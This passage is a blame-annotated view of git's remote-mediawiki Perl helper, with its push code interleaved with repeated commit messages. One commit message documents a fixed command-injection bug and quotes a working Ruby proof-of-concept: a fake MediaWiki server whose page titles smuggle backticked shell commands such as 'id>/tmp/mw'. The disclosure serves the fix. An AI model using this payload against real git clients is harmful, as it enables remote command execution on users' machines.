up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $file_content;
|
|
|
|
if ($page_deleted) {
|
|
|
|
# Deleting a page usually requires
|
2013-04-12 00:36:10 +02:00
|
|
|
# special privileges. A common
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# convention is to replace the page
|
|
|
|
# with this content instead:
|
|
|
|
$file_content = DELETED_CONTENT;
|
|
|
|
} else {
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
$file_content = run_git_quoted(["cat-file", "blob", $new_sha1]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
my $result = $mediawiki->edit( {
|
|
|
|
action => 'edit',
|
|
|
|
summary => $summary,
|
|
|
|
title => $title,
|
2012-06-27 11:10:18 +02:00
|
|
|
basetimestamp => $basetimestamps{$oldrevid},
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
text => mediawiki_clean($file_content, $page_created),
|
|
|
|
}, {
|
|
|
|
skip_encoding => 1 # Helps with names with accentuated characters
|
2011-09-27 19:54:59 +02:00
|
|
|
});
|
|
|
|
if (!$result) {
|
|
|
|
if ($mediawiki->{error}->{code} == 3) {
|
|
|
|
# edit conflicts, considered as non-fast-forward
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} 'Warning: Error ' .
|
2011-09-27 19:54:59 +02:00
|
|
|
$mediawiki->{error}->{code} .
|
2013-06-14 15:50:35 +02:00
|
|
|
' from mediawiki: ' . $mediawiki->{error}->{details} .
|
2011-09-27 19:54:59 +02:00
|
|
|
".\n";
|
2013-06-14 15:50:30 +02:00
|
|
|
return ($oldrevid, 'non-fast-forward');
|
2011-09-27 19:54:59 +02:00
|
|
|
} else {
|
|
|
|
# Other errors. Shouldn't happen => just die()
|
|
|
|
die 'Fatal: Error ' .
|
|
|
|
$mediawiki->{error}->{code} .
|
2013-06-14 15:50:35 +02:00
|
|
|
' from mediawiki: ' . $mediawiki->{error}->{details} . "\n";
|
2011-09-27 19:54:59 +02:00
|
|
|
}
|
|
|
|
}
|
2011-09-01 18:54:56 +02:00
|
|
|
$newrevid = $result->{edit}->{newrevid};
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Pushed file: ${new_sha1} - ${title}\n";
|
2012-07-16 21:46:37 +02:00
|
|
|
} elsif ($export_media) {
|
2012-06-27 11:10:18 +02:00
|
|
|
$newrevid = mw_upload_file($complete_file_name, $new_sha1,
|
|
|
|
$extension, $page_deleted,
|
|
|
|
$summary);
|
2012-07-16 21:46:37 +02:00
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Ignoring media file ${title}\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2012-06-27 11:10:18 +02:00
|
|
|
$newrevid = ($newrevid or $oldrevid);
|
2013-06-14 15:50:30 +02:00
|
|
|
return ($newrevid, 'ok');
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_push {
|
|
|
|
# multiple push statements can follow each other
|
2013-06-14 15:50:30 +02:00
|
|
|
my @refsspecs = (shift, get_more_refs('push'));
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $pushed;
|
|
|
|
for my $refspec (@refsspecs) {
|
|
|
|
my ($force, $local, $remote) = $refspec =~ /^(\+)?([^:]*):([^:]*)$/
|
2013-06-14 15:50:21 +02:00
|
|
|
or die("Invalid refspec for push. Expected <src>:<dst> or +<src>:<dst>\n");
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
if ($force) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Warning: forced push not allowed on a MediaWiki.\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2013-06-14 15:50:33 +02:00
|
|
|
if ($local eq EMPTY) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Cannot delete remote branch on a MediaWiki\n";
|
|
|
|
print {*STDOUT} "error ${remote} cannot delete\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
next;
|
|
|
|
}
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($remote ne 'refs/heads/master') {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Only push to the branch 'master' is supported on a MediaWiki\n";
|
|
|
|
print {*STDOUT} "error ${remote} only master allowed\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
